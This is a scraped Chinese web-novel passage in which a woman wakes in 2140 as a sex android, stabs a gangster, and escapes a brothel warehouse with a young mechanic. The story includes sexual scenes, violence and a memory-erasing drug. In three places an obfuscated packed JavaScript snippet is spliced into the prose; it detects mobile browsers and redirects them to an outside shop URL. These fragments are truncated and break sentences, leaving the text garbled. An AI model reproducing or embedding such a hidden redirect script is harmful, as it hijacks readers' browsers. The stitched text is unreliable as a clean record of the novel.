《不要乱开箱》 1. 苏醒 如潮水般的嘈杂人声里,时却的发小左手揽着一桶爆米花,右手握住娃娃机的摇杆。 “不管你信不信,我可是神抓手!”她大叫。 游戏币被投入进币口,发出清脆的哐啷坠落声。娃娃机奏起欢快的音乐,嘟嘟嘟嘟,叮叮当当,咿咿呀呀。 时却凑过去,脸靠近那桶爆米花,沉浸在浓郁甜腻的气息中。她和发小一块朝玻璃里瞧,看那些被囚禁在方寸之间的毛绒娃娃们。 它们东倒西歪,有的明显是从出口边上的挡板掉下来的,可见已令前一个抓它的人铩羽而归。 “就这个吧,”隔着玻璃,发小的手指点上一只憨态可掬的黑棕色肥鸟,“它和你的名字很搭,不是吗?” 时却想说这只肥鸟又不一定是雀,上嘴唇才离开下嘴唇,被一阵猛烈的眩晕攫住。 世界猛地陷入死寂,娃娃机的BGM和嘈杂的人声齐齐按下暂停键。几个呼吸后,除发小外,周遭的行人以及娃娃机,均似烈日下被强光照射的冰淇淋,尽数融化。 “嘿,看我。”发小说。 时却扭头。 发小的面孔上显出肉色的漩涡,这漩涡急速膨大,令发小的五官顺着条无形的螺旋线不断被拉长、变形——! 时却猛地睁开眼,呼哧呼哧,略显急促地呼吸了十几秒钟后,方才逐渐平静下来。 目之所及是浓郁的黑暗。应该是黑夜。她记起来……自己昨天晚上是正常上床睡觉了的,所以刚刚只是做噩梦,自己甚至应该还没睡多久。 和大多刚从梦中醒来的人一样,时却迷迷糊糊,下意识去摸睡前放在边上的手机,想看看看现在几点。 刚一抬右手,她的肘部撞在某个硬质表面上,倒不怎么疼,就是有明显的受阻感。她欲坐起,身体才前倾少许,咣的一声,头撞在同样硬实的表面上。 她反射性地后退并仰头,后脑勺和背部又与坚硬得反正铁定不是床铺的东西相撞,发出沉闷的咚的一声。 一个激灵,她想蹬腿,两只脚却踩了个实在。 ……不是记忆中闭眼前舒服躺在床上的睡姿,她整个人是站着的! 犹如盆冷水在数九寒天兜头浇下,时却完完全全地清醒了,被吓的。 口舌发干地舔了舔嘴唇,她慢慢向身侧曲起双臂,小臂与大臂刚形成小夹角,左右肘部便均受阻。以心脏的剧烈跳动声为背景音,她尝试踮脚,脚跟刚悬空,头顶贴上硬实的阻碍。 自己……正站在一个长方形容器里。 她原地转圈,尝试朝各个方向对这个容器从小到大地施力,容器纹丝不动。一番折腾下来,只有两个收获: 一,根据身体的触觉,她被换上了长衣长裤,以及触感还算柔软的鞋子。 二,由摸索时掌心感受到的冰冷触觉,以及容器相邻内表面之间存在的细微接缝处,时却判断这个容器大抵是个金属箱。 换言之,她以站姿被关在了一个箱子里。至于周围伸手不见五指,应该是因为箱子之外的环境也漆黑一片。 ……绑架?拐卖? 她惯常进门后会反锁,谁会有动机和能力悄声无息地摸进她的屋子里,把一个次日还要上班——即一旦失踪很快会被发现——的打工人迷晕,再像运送货物一样关起来? 周遭很平静,没有颠簸,没有光亮;如果真的遭遇了绑架,她可能在卖出的仓库里静待被卖出,也可能到了买家手里。 要出声呼救吗?这个念头刚浮现,被立刻否定。她不能在这种一无所知的情况下浪费体力,并冒风险弄出响动。 谁知道她的苏醒是不是非法拘禁者期望发生的。 一片死寂中,唯有时却自身的呼吸和心跳清晰可闻。 据说没有经过特别训练的人在密闭且安静的环境里待不了多久,她不知道自己能维持现在清明的神智多久。 现在还好,她不累;可是,她迟早会疲惫。这金属箱几乎可以说是为她量身打造的,可活动空间极小,她只能在里头原地转圈,无法蹲下或坐下休息。 此外,还有饥饿、饮水和排泄的问题……或者说,不等这些问题出现,囚禁她的人就笃定事情会有新的进展? 在完全受制的情况下,用脚趾头想也知道,这所谓的“进展”八成不能够是什么好事。 为防止过于胡思乱想,她清空思绪,索性默读计数。 静立约两分钟后,时却的眼睛忽然有点痒,下意识连眨数下;等她再凝神,视野内浮现出一点指甲盖大小的幽蓝色光团,并很快扩大、扩散,变为一行淡蓝色的模糊话语。 这行字接触不良地闪烁了几下,方才逐渐变清晰: 【VII型仿生人4958号开机完成,正在打开信息界面】 时却闭上眼睛,那行字依旧自顾自地存在,仿佛烙在视网膜上。十几秒过去,那行字褪去,取而代之的是视野左下角又钻出三行小字。 【机体状态:尚可 剩余电量:30%(请及时充电) 当前功能模块:①性技巧大师1.0、②性技巧大师2.0】 ……难道她并没有梦醒,而是做了梦中梦?舌尖伸至上下牙齿之间,用力一咬,时却疼出泪花,不得不面对现实。 她莫名其妙成了一个什么仿生人,不算正经人类了。没有哪个正经人类闭上眼睛后还能看到全息投影的。 尽管对仿生人这个充满科幻意味的词并不陌生,也知道其意义,但她可以肯定的是,记忆里根本没有哪家科技公司真整出了高度仿人的仿生人。 ……箱子外头的世界,还是记忆里的世界么? 而且这个仿生人,或者说她自己快没电了,如果能从箱子脱身出去,充电是当务之急。 最后,从那两个劳什子功能模块来看,她的身份呼之欲出——八成是一个正等着被卖或被买的性.爱娃娃。 厘清头绪后,时却被巨大的荒谬感淹没。她发了会儿呆,然后以自己也倍感吃惊的速度接受现实。 盯着信息界面那三行发着幽蓝光的小字,她苦中作乐地想,至少现在,自己没待在完全的黑暗中了。 * 时却决定在当下有限的条件里探索这具仿生人身体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959988|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她又开始默数,一口气数了三个小时,期间没数错哪怕一个数,同时直至数完,也没见到剩余电量值有变化。 基于这三个小时的数数,时却得到了半个好消息和一个坏消息。 半个好消息是,这具身体的电池在静止站立的情境下还算挺耐用;至于为什么这好消息只能算半个,自然是因为……前一结论无法给她正常甚至是剧烈运动下电量的消耗带来任何参考性。 类比一下,就像手机充满电后能待机两星期,可打游戏的话只能打三小时,其使用时间的差别,在于电能消耗的剧烈程度。 而坏消息则是,她不得不更深刻地认识到成为非人的事实——三个小时是10800秒,哪个正常人能轻松地在这么长的时间里不间断计数,还不出错? 长长出了口气,时却将目光放在视线左下角的三行小字上。十分钟后,她研究出: 这三行小字是可以随她的意念隐藏的,隐藏后,只要在脑中去想要见到这“信息界面”,这三行小字就会再度出现。 当她在小字出现的情况下凝视某一功能模块,或是在小字隐藏时特意去想对应功能模块,在一阵轻微的眩晕后,她的脑中将浮现出该功能模块的具体内容。 这具体内容以书本形式呈现,有目录有正文,每张书页上的表现形式极为丰富,多是文字、图画、音频和视频的相辅相成,相当形象生动和高端,完全可以称得上是名师出品的颅内网课。 虽然,目前预装在这具身体里的“性技巧大师1.0”和“性技巧大师2.0”……也没什么学习的必要就是。 时却只是粗略扫了一眼这俩玩意儿的目录,就被糊了一脸脖子以下不能描述。 她将信息界面隐藏,思绪有些涣散。她的……先称为上辈子吧,她的上辈子的一切迟钝地、姗姗来迟地、走马灯般在眼前闪现。 如果以睁眼后作为上辈子的死亡结点,时却的上一世过得平平无奇。 平平无奇地长大,读书,毕业,工作,自己一个人在大城市当了五年打工狗,天天996,在出租屋的床上眼睛一闭,就变成了仿生人4958号。 会为自己的离开而产生情绪的,大概会有父母、发小,以及痛失了一个可重点压榨对象的公司老板。 ……不过老板肯定产生的悲伤,肯定不是通常意义上的那种悲伤就对了。她挂掉后,老板说不定得额外请两三个人,才能把她那些项目资料做完。 想到这里,时却不合时宜地短暂傻乐几秒,没料到最后自己还能通过这种方式给资本主义以一记重锤。 感到些许轻松后,她给自己打了把气,又尝试了一轮对外施力,或推或挤,甚至是尽己所能地往外周侧撞,箱子内壁也还是半点不动。 看来的确不可能凭借自己的力量破开箱子了。 思来想去,为尽量拖延情绪出现严重问题,时却决定用上一阵限制级颅内网课,再闭目养神,再回忆上辈子,再继续上网课,如此循环的法子消磨时间。 直到有人从外界打开这个困住她的箱子,或外头出现别的什么变故。 3. 合作 用脚趾头想也知道,沈司奥念的那串拗口序号八成是什么启用情趣仿生人的电子钥匙。因此,自打他开始故里呱啦,时却的心就升到嗓子眼砰砰直跳,生怕被什么突现的神秘力量接管身体,差点控制不住面部表情。 万幸,直到沈司奥巴拉巴拉完,她好像还是她,没有失去对自身的控制。她看了眼当前电量,数值仍是令人安心的30%。 “……4958,开机。” 一,二,三。时却睁开眼。 ……沈司奥就站在她正前方,比她矮半个头,穿一身明显不合身且有些老旧的浅绿色工装,鼻梁上架有副如同酒瓶底的高度数眼镜,身侧漂浮由屏幕和键盘构成的全息投影,右手拎一个破旧的皮质工具包。 他不清楚成年没有,身型介于干巴瘦的鸡仔身材和正常青少年之间,看上去是个书呆子。 沈司奥看时却,时却也看他。她知道接下来自己该干嘛,就是拿不准是否该学4956号那种温温柔柔的腔调。 这具身体是个啥“战斗改的二手货”,让干了多年黑恶势力的李哥也吃惊,那么问题就来了,她是否应当和展露出和4956号不同的特质? 不远处,李哥和4956号的响动愈发大,桌子摇摆的咿咿呀呀声、娇喘呻吟和男人的污言秽语混杂成一团。 思及那边听着挺忙,面前沈司奥看着就战五渣,她也不一定能装得天衣无缝,电光火石间,时却决定先复制粘贴4956的台词,至于情态什么的,就算了吧,她就没有演技这个东西。 “情趣仿生人4958号开机,”她僵着脸,语调平平,“管理员,请下达指令。” 她赌对了,沈司奥没有什么特别的反应。 “向前走三步,然后待机。”他说完,不再管时却,去开机5009号。 让5009号同样出箱并待机后,他寻了个远离李哥的墙角盘腿坐下,用手指将漂在身侧的屏幕和键盘拖至正前方。 不知沈司奥做了什么,屏幕背离他的表面,以及露出在全息屏幕外的键盘投影,此二者的颜色均变为黑色,一眼看去仿佛具有实体。 得益于此变化,屏幕遮住了包括使用者双眼在内的大部分脸庞。 时却从箱中探出头,看了眼周侧,没在属于自己的箱子上看到之前沈司奥说的,对应的仿生人信息。可能是李哥选完后,他就将投影关了。 没能看到自己是啥模样有点可惜,不过这不是什么很重要的事情。 当务之急,必须先确认出口的状态。朝着记忆中传来仓库门开关声响的方向,时却探头。 确保接下来至少走上个一两步,不会暴露在李哥的视线里,也不会进入沈司奥的视线范围后,她抬脚,挪出半步,谨慎地原地停留数秒,再抬脚,继续迈步。 她浑身上下没有一处肌肉不紧绷,同时还要有意控制呼吸,以免发出因焦虑和紧张而产生的粗重喘息。 仓库里排布着阵列状的诸多箱子,得益于它们,时却潜行的难度并不算高。 如同只偷灯油的小老鼠,她绕过沈司奥,看到了趴在4956号身上耸动的李哥。他将4956号脱个精光,自己则只解开皮带,外加脱半截裤子办事。 时却从二人的侧面悄声无息溜走。比较古怪的是,一番摸索下来,她没看到任何一面窗户,目之所及的每一面墙都光溜溜的。整个仓库就像顶大罩子般。 又过一会,她终于看到了大门。 意料之中,仓库门关得严丝合缝。雪上加霜,时却没在仓库门及其附近找到任何像门把手或自动开门装置的东西。 她没有半点直接上手试着推门的想法。这仓库门九成九不能被手动推开。不然李哥会这么嚣张地“办事”? 开门的法子,肯定在沈司奥和李哥二人中至少其一身上。 无疑,若要发生暴力冲突,李哥为首当其冲须制服的对象,不过正面对抗的话就不用想了,那是去送人头,唯一的出路大概只有偷袭。 然而,偷袭的胜算也不大。和所有在和平环境下长大成人的女性一样,时却所有和暴力相关的经验均来自影视作品和小说,她连与人推搡的经验都没有,更不用说打斗了。 这里有没有可以作为武器的存在?送饭人提及,仓库里还有个放工具的地方。 哪怕能找到根S.M用皮鞭也好啊! 时却继续在箱与箱之间挪移。沈司奥的键盘敲击声近了又远,远了又近。 ……而在李哥和4956制造的响动中,4956的状态一直很稳定,李哥却似乎进入了快结束的阶段,他嘴上不干不净的话说一句少一句,喘息声愈来愈重。 时却又一次从他俩边上“路过”,赶巧见李哥的动作从一下一下,转变为打桩机般超快,回光返照似的,顿时吓得魂飞天外,差点顾不得看路,一脚踹到某个箱子上。 她咬咬牙,正打算不管不顾扑上去掐人脖子,就见李哥从上衣口袋里摸出个装有蓝色小药丸的透明袋,也不就水,生咽下数粒,竟磕起药来,这才止住动作。 时间一分一秒过去,绕过几个遮挡视线的箱子,时却终于找到送饭人口中的堆放工具的地方。 那是个置有三个六层架子的区域,每个架子的每层摊满琳琅满目的情趣道具。 时却飞快扫视,捡了只黑色橡胶手套戴在右手上,再左手捡个粉色电击器,右手拿上把外形花哨的匕首。 天无绝人之路!她心下激动。电击器和匕首,这两玩意,谁敢说没有情趣? 不用赘言,匕首的使用方式人尽皆知。 至于电击器,谢天谢地,这玩意采用非常友好的傻瓜式操作,上头仅有电量显示,以及两处可操作位置:开关、电击档位。 这是个全新的家伙,电量显示为100%。在其电击输出的最高档位粘有张纸条,上书:“可能致人短暂失去意识,推荐经验丰富者使用哟~”。 太太太贴心了。 时却不试试这个最高档位,都对不起这么让人暖心的叮嘱。 她蹑手蹑脚回到李哥身后,幽灵般逐步接近,左手压低,右手抬高。 室内无风,时却动作间,不可避免地搅动起气流。空气扑在她早被汗水浸湿的后背和额间,细微冷意弥散开。 本来,她的掌心也有汗,不过那都被擦干了,因为她的两只手分别要握两件武器,这两件武器八成决定她的生死。 战士上战场前都要给武器做无微不至的保养,她也做了相同的事情——不过条件有限,用的是裤子的侧面。 到时候,先用电击器。匕首,匕首的话,不一定要杀死他,如果电击器没能让他失去意识,用来胁迫,或制造伤口都行。 本这么考虑,可转念一想,如果有什么闪失呢?保险起见…… 时却咬咬牙,选择再度举高右手,抬至对准李哥脖颈的位置。 越是拉进距离,她身体的温度越高,她的心脏像热泵般,加热了血液的温度;炙血鼓动着流遍躯体,叫她浑身都烫,热得要命,呼出的气都息仿佛要灼烧起来。 李哥还在动作。 此时此刻,时却半点不觉得李哥是只凶恶豺狼了,只看他像条丑陋的发情老狗。 七步。 走近了才发现,李哥的战术夹克不长,没有完全遮盖腰部。大概出于方便,他甚至还稍微往上卷了一下里头的上衣。 这很好,让他腰间的皮肤露出得更多了。 六步。 时却再度微调了一下左手的位置,拇指覆在电击器的开关上。 五步。 自上往下,李哥露出的皮肤部分有:腰间的一点,全部大腿,大半小腿。 四步。 武装带连战术裤堆在李哥的脚踝处,形成松垮的8字型约束物。 太棒了。 三步。 李哥停住动作。 他觉得好像哪里不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时却尽量小声地喘着气,没去动那匕首,飞快卸了李哥的战术腰带缠在自己身上,避开腰带上挂有手枪的位置,右手抽出其上的匕首,想再去捡电击器。 “那玩意是鸡肋,是我的话,就不会再要。” 时却顿住,转向声音传来的方向。不知何时,沈司奥站在了不远处,与她分别处在李哥的两个相对侧。他原先存在于身侧的全息投影不知所踪。 “什么?” 这是时却自醒来说的第一句话,话音落下,惊讶于这具身体声音的中性程度简直到了男女莫辩的程度。 沈司奥对倒在地上的李哥视而不见,哪怕后者伤口处的鲜红血液已顺着肩膀流至身下,积成了一小滩。 他清清嗓子:“首先,它的电量只够在最高档位使用两次;其次,只有目中无人的傻瓜才会被这种东西偷袭。” 时却盯着沈司奥,慢慢弯腰捡起电击器查看。的确,它的电量只剩下50%。 这电量消耗太不耐用了,不知道是否属于特地的限制,为的是怕使用者一不小心在play过程中玩得太过分。 她将电击器攥在空余的左手里,没有关上,任由轻微电流声以及时不时闪现的电光继续存在。 沈司奥道:“相比之下,手枪和匕首才更实用——前提是你懂怎么用枪,也懂怎么战斗。恕我直言,很显然你在这两方面都很生疏。” 时却不吭声,暗地里更加攥紧匕首。 见鬼,她当然很生疏。她光就知道手枪要开了保险才能射击,至于保险在枪的哪儿,具体长什么样子,完全是两眼一抹黑。 更不要提,大概是异世界的缘故,李哥的那把手枪,比起她记忆中常见的手枪款式,只是外形大致相像,细节上有多处微妙的不同。 她本打算离开仓库后,再找地方好好研究这把手枪。 沈司奥身上会藏有武器吗?乍一眼扫过去没有,但他的工装很宽松,难说。 “你正考虑该怎么朝我下手?”沈司奥举起双手,后退一步,“我以为自己示好得很明显。” 时却不动声色。 “我本可以立刻拉响警报——” 她眯起眼睛。 沈司奥立刻露出带有讨好意味的微笑:“——但却没有这么做。直说好了,我们可以合作,你是个异常仿生人,错过我,你找不到更好的合作对象。” 4. 处置 异常仿生人。 时却瞟一眼4956号,后者浑身赤.裸且满身痕迹地坐在桌子上,用手指搅起一缕散落胸前的头发玩。 “从什么时候开始看的?” “挺早的。”沈司奥含糊道。 ……也就是说,这位仁兄悄无声息地站在边上,看她搜集武器,看她袭击李哥? 这小哥和李哥真是半斤八两,感天动地同伴情。李哥筹谋卸磨杀驴,他则更狠,半点不反抗也不提醒地瞧李哥去死。 “我要诚意,”她关掉电击器,留匕首持于手中,“问答游戏,我问你答?” “时间上可能——” “哦?我以为时间很够,”她似笑非笑地打断,“卖赃买赃因临时变故取消很常见,是吧,沈司奥?” 沈司奥一愣:“你开机之前就有意识。” 时却不理他,自顾自提问:“今天的年月日,以及这里是哪儿。” “2140年12月28日。这里是十三区,妓院‘蜜桃’的仓库。” 2140年。时却咋舌,她上辈子的最后记忆停留在2024年。 “说说异常仿生人。” “异常仿生人是笼统的说法,指所有能主动伤害人类,或做出超越程序设定行为的仿生人,”沈司奥道,“说实话,在你之前,我没见过别的异常仿生人。你和所有传闻里的异常仿生人完全不一样。” 时却斜靠在就近的箱子上,低头瞥匕首,光亮冰冷的金属表面上倒映出一双平静的黑色眼眸。 “哪里不一样?” “那些仿生人的举动听起来只是程序运行出错。而你……” 沈司奥飞快地打量一番时却,双手背去身后。 “把所属标记,唔,就是4956号太阳穴上那玩意,能定制的,你也有。如果把那个遮掉,你看上去就只是个失忆了的正常人。” 时却不置可否地晃了下头,继续问:“异常仿生人会被怎么对待?追杀?销毁?” “不不不,我说了,那些仿生人的举动听起来只是程序运行出错而已,没有像你这样看上去,嗯,这么像人,”沈司奥小心翼翼道,“多数异常仿生人会被停机拿去重置,少数实在修不好,会直接作报废处理。没听过有追杀的事情。” “你和李哥为什么要逃命?” “长话短说的话……” 几分钟后,时却初步弄清了外头的世界。 2024年,整个蓝星的各个地方都分批次下起了陨石雨。基于不明原理,这陨石雨带来了一种特殊辐射,该特殊辐射对人类、动植物乃至机械均产生巨大影响,造成无数生命死亡、变异。 次年,科学家研究出了能抵消大部分辐射,并驱赶变异动植物的大型装置。基于此,当权者将所有人分配到数个聚集地中,并经人工智能的协助,在每个聚集地上方,以及聚集地之间的主交通道建设由前述装置构成的防护罩。 各个人类聚集地以某区为规则进行命名,时却所处的即是其中之一,十三区。 “防护罩的寿命在15-20年间不等。因使用寿命问题,自十三区往其他区的防护罩已关闭,十三区的防护罩也将在三天后,也就是1月1日0点被关闭。”沈司奥说,“不止我和李哥要走,所有还滞留十三区的人都会在三天内陆续撤离。蜜桃后天搬迁。” 所以李哥想打时间差倒卖待启用的仿生人。只要跑得快,大难临头之下,没人有心思追究这点钱。 “他打算去十二区,你也是?” “我们别无选择。”沈司奥耸肩,“与十三区相邻的有十二区和十四区,十四区近期因故封闭,外来者不能进入,只有十二区能去。” 沈司奥没有说的很详细,时却也无法确定,到底这个世界就是从前自己所在世界,只不过她处在未来,还是这儿只是个平行世界。 “如今,”她犹豫一下,还是直接道,“没有国家这一说了吗?” 沈司奥道:“辐射爆发是一百多年前的事情,现在能喘气的活人没你想得那么多。目前,能算得上官方力量的只有一个,叫联合政体,它在每个区设置管理局,于管理局之下再下设常见的行政部门和暴力机关,以对各区进行治理。” “管理局,好吧,”将这个陌生名字在嘴里滚了一圈,“组织居民撤离十三区,也是由管理局负责,对吧?” 出乎意料,沈司奥摇头。 “管理局组织的平民撤离队伍已经离开了。目前还留在十三区的,只有属于官方力量的暴力机关,非官方的大小帮派,以及与帮派中人多少有关系的家伙。” 出于时间和场景限制,沈司奥很多地方做的都是简略说明。时却理智上理解,情感上,恨不得把他脑子打开,把想了解的信息全都瞧个一干二净。 不能操之过急。 她收起匕首,跨过不省人事的李哥走向沈司奥,伸出右手。 “时却。” 这是非常明显的友好信号。 似乎没料到她态度转换得这么干脆,沈司奥惊异地看着她,这会倒是显出了点和年龄相符的几分少年气来。 他怔愣几秒钟,从背后抽出右手,飞快地碰一下时却。 “你还给自己取了名字。呃,沈司奥,你知道的。我是个机械师,目前在蜜桃工作。” 握完手,他又将右手背了回去。也不知道是有什么执着,非得双手在后。 “很高兴认识你,”时却道,“谈谈合作内容吧。” “你该知道李哥有个战斗型仿生人,”沈司奥道,“李哥花大价钱买了个战斗型用的功能模块,叫‘入伍新兵’,那仿生人已经用上了。它还在李哥宿舍里,我可以一会带你去,将入伍新兵从它身上拆下,转安装到你身上。” 不管什么,肯定都比性技巧大师1.0和2.0好。 时却道:“详细说说?” “它能让你运用常见战斗招式,还能解除因为被改造成情趣型而外加的身体机能限制。” “身体机能限制?” “是的,这在战斗型改其他用途的仿生人身上是常规手段。你的信息界面上,有显示机体状态是‘尚可’吧?装完入伍新兵后,它会变回‘正常’。” “除此之外,”沈司奥继续道,“我会为你遮掩身份,能负责你的日常维护,还能给你讲一些常识。你对外界一无所知,对吧?” 时却无法反驳,这的确是她要面临的大问题……之一。 “作为交换,你希望我做什么?” 沈司奥脱口而出:“护送我到十二区,包揽路上所有和战斗与重体力活相关的事情。” “就这样?” “就这样,相信我,我对你没其他兴趣,只想保命,”沈司奥道,“十三区到十二区途中,会很乱;强者会对弱者下手,因辐射而变异的动植物也会袭击人,无论哪种情况,我都是头肥羊。” 他做了个手势示意时却稍等,转身将自己的工具包拎了过来,拉开拉链。 伴随着细微且密集的机械传动声,数个传动机构咬合、推拉、滑移,不出两个呼吸间便架构出套全金属制的桌椅,桌子上形成有各式各样的小器械,各个都结构繁复,让人看上一眼就觉眼花。 “这是机械师常用的便携工作台,我爷爷传下来的,我一直避开外人使用,不少人知道它的存在,但不知道它的具体型号。实际上,它最少值三万。受蜜桃庇护,暂时没人因此找过我麻烦,但……” “蜜桃的老大给我开了带我去十二区的价码,就是它,我没答应。今天是我在蜜桃工作的最后一天。今天以后,大多数人都不会冒着得罪蜜桃的风险,选择与我合作。相反,不少人对这个蜜桃老大都想要的工作台感兴趣。” 沈司奥动作轻柔地摸了摸椅背,脚往椅子腿下部轻轻一踢,工作台像是凭空接收到了什么指令,飞快地变小、缩回。 啪,工具包小幅度从地面弹立起来,拉链自顾自地合上。 “在区内还好,我有个能躲着的安全屋。”沈司奥弯腰重新提起工具包,“但我们的法律有诸多不予追责的条款,其中一条是:不追究任何人在防护罩外的任何行为。带着它,我孤身一人走出十三区,没多久就会死于非命。” “你为自己找个同伴的决定很合理,”时却干脆道,“合作愉快。” 沈司奥笑笑。“合作愉快。” 既然谈妥了,时却与沈司奥商量李哥该怎么处理。 沈司奥从兜里摸出一管白色膏体。“这用于止血和治疗轻度外伤。如果你想杀了他,就别用;不是很想的话,就别拔那把匕首,再把它抹在伤口附近。” “杀了,不会有麻烦?” 年轻的机械师点到即止:“我的安全屋很隐秘。” 时却伸手示意想仔细看这药膏,沈司奥递给她。药膏上写着速合剂三个大字,生产厂家是二十六区某个制药厂。 她将速合剂在手中抛接两下,丢回给沈司奥,没有正面回答。 “你知道李哥对你抱有卸磨杀驴的心思,所以坐视他被偷袭?” 沈司奥点头,双手又背到身后去。背手似乎是他习惯性的小动作。 “那就别让我自己做决定,同伙。”时却说,也学他将双手背到身后,“这样吧,每个人出一只手,手心向上,死,向下,活。意见相悖的话,再说。” 见沈司奥又点点头,时却倒数三下,伸出右手,手心向下。沈司奥选择的也是手心向下,不过伸出的是左手。 他们走到李哥边上。 沈司奥负责上药,时却则去扒李哥的战术裤和战术靴,弄下来后丢到一边。待沈司奥上完药站到一边后,她再去扒李哥的夹克。夹克一脱,李哥手腕上露出只硕大的黑色手表。 “这是他的智能终端,”沈司奥卸下那手表,“我等下黑进去,通知买家交易取消。” 时却在嘴里滚了一圈这个熟悉又陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959991|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名词。“智能终端都长这样?” “基本是手表样式,也可以定制成饰品模样。我的是项链。” 时却不再问什么,拎起堆在边上的裤子和夹克穿上。 她对这具身体各部位的尺寸没什么实感,本来只是觉得李哥的一身都挺宽松,怎么着也能穿得上,没想到整身一套,都合适得正正好。 “你的身形和李哥很像,”沈司奥若有所思,“他骑摩托带我来的,摩托的后备箱里有头盔和手套,头盔是从外头看不见里边人脸那种,没人会认出你不是他。” “万一要交谈?”不是一张口就露馅。 “我有个用李哥声音训练出来的语音库,”沈司奥说,“李哥的熟人今晚都出去喝酒了,他架子不小,除狐朋狗友之外,不会有人和他搭话。” “……我不会开摩托。”她上辈子只开过小电驴。 肯定也不能是沈司奥带她,按李哥的性格,自己的摩托能让小弟骑就有鬼了。 “这不是问题。” 时却见沈司奥胸有成竹,也就不问了,反正二人如今也算一根绳上的蚂蚱,他说大话,她就自己跑路呗。 沈司奥在怀里摸了摸,掏出瓶食指长度的安瓿,其内装有无色药液。他拿出一支注射器,掰开安瓿,取了一针管药,正好将药液全吸光。 他给李哥注射了五分之一的药液后,把余下五分之四推在地上。 时却问这是什么。沈司奥笑笑,言简意赅道:“五分之一,能让人忘掉今天的事情,三分之一,能让人变成傻子,全都推完,必死无疑。” 好家伙,时却心说李哥还想黑吃黑,真动起手来,他是吃人那个还是被吃那个,还未可知呢。 沈司奥又提议把李哥塞进原来关着时却的箱子里,这样李哥醒后即便大吵大闹,想被发现也得等到天亮之后了,毕竟仓库的隔音很棒。当然了,4956和5009也都要归位。 时却自然没什么不赞同的,毕竟沈司奥是更熟悉环境的人。 在沈司奥蹲下,抱起李哥的上半身时,时却看看身上只剩下内裤和长袖的李哥,又看看还在玩头发的4956号,脑中飘过一个新想法。 她叫停沈司奥,拔出匕首割开李哥的长袖和内裤,叫他变成只赤条条的白斩鸡,再撕了一小块长袖的布料盖在两指上,跑到4956号附近,用那两指捏起因李哥受袭软掉后,脱落在附近的避孕套。 沈司奥:“你干——” 时却捏住李哥双颊,将手上沾满尘土和可疑湿渍的避孕套,狠狠塞进后者嘴里。 弄完这点,她尤觉不够,在上衣口袋里翻找半晌,不知从哪又掏出个没被使用的套套,连包装都没撕,一并都怼了进去。 略显嫌弃地甩掉指头上的布料,她弯腰拿着匕首,在李哥下半身隔空比划几下,不知想到什么,脸上露出有些遗憾的表情,最终将匕首插回腰间。 做完这一连串动作,她抬头,笑眯眯地问:“一起?挺重的。”。 沈司奥觉得下半身有点凉,咽了口口水道:“……你休息,我一个人就可以。” 时却看他的体格就知道这话是在逞强,不过也不坚持,耸肩退开,又在长袖上割下几条布料绑成绳状,往电击器的挂绳上一穿,将电击器挂在腰间。 李哥的夹克还算宽松,拉链一拉,就能将这电击器遮去大半。 她不打算由着沈司奥说什么就听什么,反而觉得,说不准这电击器后头还能派上大用处呢。 沈司奥眼观鼻鼻观心,也没说什么,继续拖人。 气喘吁吁将李哥塞入原本关着时却的箱子后,他才想起为效率起见,应该一起叫4956号归位的。 忘了就忘了,他顺路先去对5009号下达了归位指令,再顺手黑进李哥的智能终端,通知买家交易有变,临时取消。 片刻后,转过箱子与箱子之间,他再次看到时却和4956号。 4956号还是老样子,在玩头发。沈司奥知道这是情趣型仿生人常用的待机模式。 4956号和时却靠得很近,看清时却在做什么后,鬼使神差地,沈司奥往就近的箱子后头一躲,没直接走出去。 时却把剩下来的长袖料子团了在手里,正给4956号擦身体。她的五官组合成一张看起来有点凶恶的脸,但本人肯定不知道这件事。毕竟李哥挑选完后,沈司奥就关闭了仿生人信息展示。 她皱着眉,嘴里不知道咕哝着什么,动作没有很细致,也没有很温柔,就是正常的擦拭,理直气壮,如同4956号身上蹭的都是泥巴或者什么平常的脏污。 片刻后,沈司奥回到时却边上。时却已经把4956号擦干净了,低头研究了一会手枪,没研究出什么五六七来。 沈司奥看她眉头皱起,嘴角下撇,显出一幅本人也不知情的凶恶模样。 他把双手背在身后:“我重新投影了你的信息,在关着你的箱子上,去看看吗?” 5. 尸山 时却对这具身体的外形的看法是:能一拳揍死三个社畜版本的她。 她的视线往箱上的外貌投影下方移动,停于一行字上。 [仿生机器七代人型4958号-来自十区洛双-到货日期2140.12.20.-情趣女-预装模块:性技巧大师1.0、性技巧大师2.0] 十区,洛双。她指后两个字问沈司奥这是否是个人名,得到肯定的回答。 “洛双是卖我的人?”看4956号回到她的箱子里,时却边把玩匕首边问。 沈司奥抬手触了下胸口,身侧再次浮现出屏幕和键盘,他敲几下键盘,4956号的箱子应声关闭。 “是偶尔会给蜜桃供货的机械师,再多信息我也不清楚。”他说,“你还有多少电量?” 时却调出信息界面,眨眨眼。上面的数字由30%下跌为25%。 她进行一场偷袭,电量少去六分之一。 “这不符合情趣型的耗能规律,”沈司奥了解后皱眉,“离开蜜桃再说,先去李哥的宿舍。” 二人离开的过程也很简单,还是沈司奥动动手指的事情。 仓库门打开,外头浓重的夜色扑来,时却看到的是一个类似工业园区的地方。 